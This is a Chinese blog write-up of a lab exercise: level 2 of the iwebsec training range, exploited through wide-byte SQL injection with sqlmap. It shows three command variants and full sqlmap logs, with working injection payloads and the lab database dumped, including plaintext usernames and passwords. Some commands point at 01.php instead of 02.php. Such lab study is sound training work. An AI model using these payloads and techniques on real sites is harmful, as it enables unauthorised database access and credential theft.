• iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)


    系列文章目录

    iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客


    目录

    系列文章目录

    前言

    第02关 字符型注入

     1.源码分析

    2.字符型宽字节注入

    (1)渗透方法1:

             (2)渗透方法2:

    (3)渗透方法3:

    总结


    目录

    系列文章目录

    文章目录

    前言

    第02关 字符型注入

    1.源码分析

    2.宽字节注入

    (1)渗透方法1:

    (3)渗透方法3:

    总结



    前言

     打开靶场,url为 http://192.168.71.151/sqli/02.php?id=1 如下所示


    第02关 字符型注入

    1.源码分析

    如下所示,存在宽字节注入漏洞且闭合符号为单引号

    2.字符型宽字节注入

    首先构造sqlmap语句,url地址为 http://192.168.71.151/sqli/02.php?id=1

    很明显直接使用如下语句是不会成功的

     sqlmap -u http://192.168.71.151/sqli/02.php?id=1 --current-db --dump --batch

    因为这是宽字节注入漏洞,使用默认方法不会渗透成功 

    (1)渗透方法1:

    将url中的id=1便问id=1%df* ,即将宽字符特征%df加入到参数1后,同时在后面加上*

    sqlmap -u http://192.168.71.151/sqli/01.php?id=1%df*  --current-db --dump --batch

     完整交互过程如下所示

    1. [21:46:26] [INFO] URI parameter '#1*' is 'MySQL UNION query (random number) - 1 to 20 columns' injectable
    2. URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
    3. sqlmap identified the following injection point(s) with a total of 1260 HTTP(s) requests:
    4. ---
    5. Parameter: #1* (URI)
    6. Type: error-based
    7. Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    8. Payload: http://192.168.71.151:80/sqli/01.php?id=1%df AND (SELECT 5388 FROM(SELECT COUNT(*),CONCAT(0x7178707a71,(SELECT (ELT(5388=5388,1))),0x7171767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    9. Type: time-based blind
    10. Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    11. Payload: http://192.168.71.151:80/sqli/01.php?id=1%df AND (SELECT 2061 FROM (SELECT(SLEEP(5)))lOnr)
    12. Type: UNION query
    13. Title: MySQL UNION query (random number) - 3 columns
    14. Payload: http://192.168.71.151:80/sqli/01.php?id=-7105 UNION ALL SELECT CONCAT(0x7178707a71,0x706b715151526771476f687a6e4c71617a504e4e5a644541656d6b4f45757642636c43795276784f,0x7171767a71),9687,9687#
    15. ---
    16. [21:46:26] [INFO] the back-end DBMS is MySQL
    17. web server operating system: Linux CentOS 6
    18. web application technology: Apache 2.2.15, PHP 5.2.17
    19. back-end DBMS: MySQL >= 5.0
    20. [21:46:26] [INFO] fetching current database
    21. current database: 'iwebsec'
    22. [21:46:26] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
    23. [21:46:26] [INFO] fetching current database
    24. [21:46:26] [INFO] fetching tables for database: 'iwebsec'
    25. [21:46:26] [INFO] retrieved: 'sqli'
    26. [21:46:26] [INFO] retrieved: 'user'
    27. [21:46:27] [INFO] retrieved: 'users'
    28. [21:46:27] [INFO] retrieved: 'xss'
    29. [21:46:27] [INFO] fetching columns for table 'xss' in database 'iwebsec'
    30. [21:46:27] [INFO] retrieved: 'id','int(11)'
    31. [21:46:27] [INFO] retrieved: 'name','varchar(255)'
    32. [21:46:27] [INFO] fetching entries for table 'xss' in database 'iwebsec'
    33. [21:46:27] [INFO] retrieved: '7',''
    34. [21:46:27] [INFO] retrieved: '6',''
    35. [21:46:27] [INFO] retrieved: '5',''
    36. [21:46:27] [INFO] retrieved: '1','iwebsec'
    37. [21:46:27] [INFO] retrieved: '8',''
    38. Database: iwebsec
    39. Table: xss
    40. [5 entries]
    41. +----+------------------------------------+
    42. | id | name |
    43. +----+------------------------------------+
    44. | 7 | <img src=1 onerror=alert(/ctfs/)/> |
    45. | 6 | <img src=1 onerror=alert(/ctfs/)/> |
    46. | 5 | <img src=1 onerror=alert(/ctfs/)/> |
    47. | 1 | iwebsec |
    48. | 8 | <?php phpinfo();?> |
    49. +----+------------------------------------+
    50. [21:46:27] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
    51. [21:46:27] [INFO] fetching columns for table 'user' in database 'iwebsec'
    52. [21:46:27] [INFO] retrieved: 'id','int(11)'
    53. [21:46:27] [INFO] retrieved: 'username','varchar(255)'
    54. [21:46:27] [INFO] retrieved: 'password','varchar(255)'
    55. [21:46:27] [INFO] fetching entries for table 'user' in database 'iwebsec'
    56. [21:46:27] [INFO] retrieved: '1','pass1','user1'
    57. [21:46:27] [INFO] retrieved: '2','pass2','user2'
    58. [21:46:27] [INFO] retrieved: '3','pass3','user3'
    59. Database: iwebsec
    60. Table: user
    61. [3 entries]
    62. +----+----------+----------+
    63. | id | password | username |
    64. +----+----------+----------+
    65. | 1 | pass1 | user1 |
    66. | 2 | pass2 | user2 |
    67. | 3 | pass3 | user3 |
    68. +----+----------+----------+
    69. [21:46:27] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
    70. [21:46:27] [INFO] fetching columns for table 'users' in database 'iwebsec'
    71. [21:46:27] [INFO] retrieved: 'username','varchar(255)'
    72. [21:46:27] [INFO] retrieved: 'password','varchar(255)'
    73. [21:46:27] [INFO] retrieved: 'role','varchar(255)'
    74. [21:46:27] [INFO] fetching entries for table 'users' in database 'iwebsec'
    75. Database: iwebsec
    76. Table: users
    77. [1 entry]
    78. +-------+-------------+----------+
    79. | role | password | username |
    80. +-------+-------------+----------+
    81. | admin | mall123mall | orange |
    82. +-------+-------------+----------+
    83. [21:46:27] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
    84. [21:46:27] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
    85. [21:46:27] [INFO] retrieved: 'id','int(11)'
    86. [21:46:27] [INFO] retrieved: 'username','varchar(255)'
    87. [21:46:27] [INFO] retrieved: 'password','varchar(255)'
    88. [21:46:27] [INFO] retrieved: 'email','varchar(255)'
    89. [21:46:27] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
    90. [21:46:27] [INFO] retrieved: 'user1@iwebsec.com','1','pass1','user1'
    91. [21:46:27] [INFO] retrieved: 'user2@iwebsec.com','2','pass2','user2'
    92. [21:46:27] [INFO] retrieved: 'user3@iwebsec.com','3','pass3','user3'
    93. [21:46:27] [INFO] retrieved: 'user4@iwebsec.com','4','admin','admin'
    94. [21:46:27] [INFO] retrieved: '123@123.com','5','123','123'
    95. [21:46:27] [INFO] retrieved: '1234@123.com','6','123','ctfs' or updatexml(1,concat(0x7e,(version())),0)#'
    96. [21:46:27] [INFO] retrieved: 'iwebsec02@iwebsec.com','7','123456','iwebsec' or updatexml(1,concat(0x7e,(version())),0)#'
    97. Database: iwebsec
    98. Table: sqli
    99. [7 entries]
    100. +----+-----------------------+----------+------------------------------------------------------+
    101. | id | email | password | username |
    102. +----+-----------------------+----------+------------------------------------------------------+
    103. | 1 | user1@iwebsec.com | pass1 | user1 |
    104. | 2 | user2@iwebsec.com | pass2 | user2 |
    105. | 3 | user3@iwebsec.com | pass3 | user3 |
    106. | 4 | user4@iwebsec.com | admin | admin |
    107. | 5 | 123@123.com | 123 | 123 |
    108. | 6 | 1234@123.com | 123 | ctfs' or updatexml(1,concat(0x7e,(version())),0)# |
    109. | 7 | iwebsec02@iwebsec.com | 123456 | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
    110. +----+-----------------------+----------+------------------------------------------------------+
    111. [21:46:27] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
    112. [21:46:27] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
    113. [21:46:27] [WARNING] your sqlmap version is outdated
    114. [*] ending @ 21:46:27 /2022-11-24/

    (2)渗透方法2:

    增加宽字符脚本 --tamper unmagicquotes

    sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch   --tamper unmagicquotes

    完整交互如下所示

    1. kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch --tamper unmagicquotes
    2. ___
    3. __H__
    4. ___ ___[)]_____ ___ ___ {1.5.11#stable}
    5. |_ -| . ['] | .'| . |
    6. |___|_ [.]_|_|_|__,| _|
    7. |_|V... |_| https://sqlmap.org
    8. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    9. [*] starting @ 21:53:15 /2022-11-24/
    10. [21:53:15] [INFO] loading tamper module 'unmagicquotes'
    11. [21:53:15] [INFO] resuming back-end DBMS 'mysql'
    12. [21:53:15] [INFO] testing connection to the target URL
    13. sqlmap resumed the following injection point(s) from stored session:
    14. ---
    15. Parameter: id (GET)
    16. Type: boolean-based blind
    17. Title: Boolean-based blind - Parameter replace (original value)
    18. Payload: id=(SELECT (CASE WHEN (2397=2397) THEN 1 ELSE (SELECT 9949 UNION SELECT 5355) END))
    19. Type: error-based
    20. Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    21. Payload: id=1 AND (SELECT 2678 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(SELECT (ELT(2678=2678,1))),0x716b7a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    22. Type: time-based blind
    23. Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    24. Payload: id=1 AND (SELECT 3668 FROM (SELECT(SLEEP(5)))vjAy)
    25. Type: UNION query
    26. Title: Generic UNION query (NULL) - 3 columns
    27. Payload: id=1 UNION ALL SELECT CONCAT(0x71786a6b71,0x456c514d62616f4b7a7651664c6f6b4e72567142766663796152416b674642714e7350626d456542,0x716b7a6271),NULL,NULL-- -
    28. ---
    29. [21:53:15] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
    30. [21:53:15] [INFO] the back-end DBMS is MySQL
    31. web server operating system: Linux CentOS 6
    32. web application technology: PHP 5.2.17, Apache 2.2.15
    33. back-end DBMS: MySQL >= 5.0
    34. [21:53:15] [INFO] fetching current database
    35. current database: 'iwebsec'
    36. [21:53:15] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
    37. [21:53:15] [INFO] fetching current database
    38. [21:53:15] [INFO] fetching tables for database: 'iwebsec'
    39. [21:53:15] [INFO] fetching columns for table 'user' in database 'iwebsec'
    40. [21:53:15] [INFO] fetching entries for table 'user' in database 'iwebsec'
    41. Database: iwebsec
    42. Table: user
    43. [3 entries]
    44. +----+----------+----------+
    45. | id | password | username |
    46. +----+----------+----------+
    47. | 1 | pass1 | user1 |
    48. | 2 | pass2 | user2 |
    49. | 3 | pass3 | user3 |
    50. +----+----------+----------+
    51. [21:53:15] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
    52. [21:53:15] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
    53. [21:53:15] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
    54. Database: iwebsec
    55. Table: sqli
    56. [7 entries]
    57. +----+-----------------------+----------+------------------------------------------------------+
    58. | id | email | password | username |
    59. +----+-----------------------+----------+------------------------------------------------------+
    60. | 1 | user1@iwebsec.com | pass1 | user1 |
    61. | 2 | user2@iwebsec.com | pass2 | user2 |
    62. | 3 | user3@iwebsec.com | pass3 | user3 |
    63. | 4 | user4@iwebsec.com | admin | admin |
    64. | 5 | 123@123.com | 123 | 123 |
    65. | 6 | 1234@123.com | 123 | ctfs' or updatexml(1,concat(0x7e,(version())),0)# |
    66. | 7 | iwebsec02@iwebsec.com | 123456 | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
    67. +----+-----------------------+----------+------------------------------------------------------+
    68. [21:53:15] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
    69. [21:53:15] [INFO] fetching columns for table 'xss' in database 'iwebsec'
    70. [21:53:15] [INFO] fetching entries for table 'xss' in database 'iwebsec'
    71. Database: iwebsec
    72. Table: xss
    73. [5 entries]
    74. +----+------------------------------------+
    75. | id | name |
    76. +----+------------------------------------+
    77. | 7 | |
    78. | 6 | |
    79. | 5 | |
    80. | 1 | iwebsec |
    81. | 8 | |
    82. +----+------------------------------------+
    83. [21:53:15] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
    84. [21:53:15] [INFO] fetching columns for table 'users' in database 'iwebsec'
    85. [21:53:15] [INFO] fetching entries for table 'users' in database 'iwebsec'
    86. Database: iwebsec
    87. Table: users
    88. [1 entry]
    89. +-------+-------------+----------+
    90. | role | password | username |
    91. +-------+-------------+----------+
    92. | admin | mall123mall | orange |
    93. +-------+-------------+----------+
    94. [21:53:15] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
    95. [21:53:15] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
    96. [21:53:15] [WARNING] your sqlmap version is outdated
    97. [*] ending @ 21:53:15 /2022-11-24/

    (3)渗透方法3:

    bp抓包,将报文保存为iwebsec02.txt

     修改iwebsec02.txt,将id=1修改为id=1%df'* 如下图所示

    注意:根据源码分析这里面的%df是宽字节,'是单引号闭合,*则加在闭合的'后面,告知sqlmap这里为注入点,于是注入语句为

    sqlmap -r iwebsec02.txt --current-db --dump --batch 

     如下所示,注入成功

    由于sqlmap的完整交互过程前面已有,故而这里并不将完整过程再次列出。


    总结

    本次渗透的关卡为字符型注入,其实总结来讲本关卡的难度相对而言作为第二关有些难度。

    通过源码再来分析下SQL注入重点内容:

    (1)闭合方式是什么?iwebsec的第02关关卡为字符型,闭合方式为单引号

    (2)注入类别是什么?这部分是宽字节型注入,需要使用%df

    (3)是否过滤了关键字?很明显通过源码,iwebsec的字符型关卡无过滤任何信息

    了解了如上信息就可以针对性进行SQL渗透,使用sqlmap工具渗透更是事半功倍,以上就是今天要讲的第2关注入内容,初学者建议按部就班先使用手动注入练习,再进行sqlmap渗透。

  • 相关阅读:
    Linux下yum源配置实战 1
    企业如何通过会员积分营销留住客户?
    离线 Linux 开发环境搭建
    1. 开篇:SpringBoot与SpringCloud的那些事
    我的Vue之旅 11 Vuex 实现购物车
    HttpOnly 标志——保护 Cookie 免受 XSS
    electron + vue3 + ts 打包后安装打开白屏解决
    程序员职场生活记录分享——打工人沪漂五年,不想工作了
    05 easyPoi的使用
    Go的安装
  • 原文地址:https://blog.csdn.net/mooyuan/article/details/128033601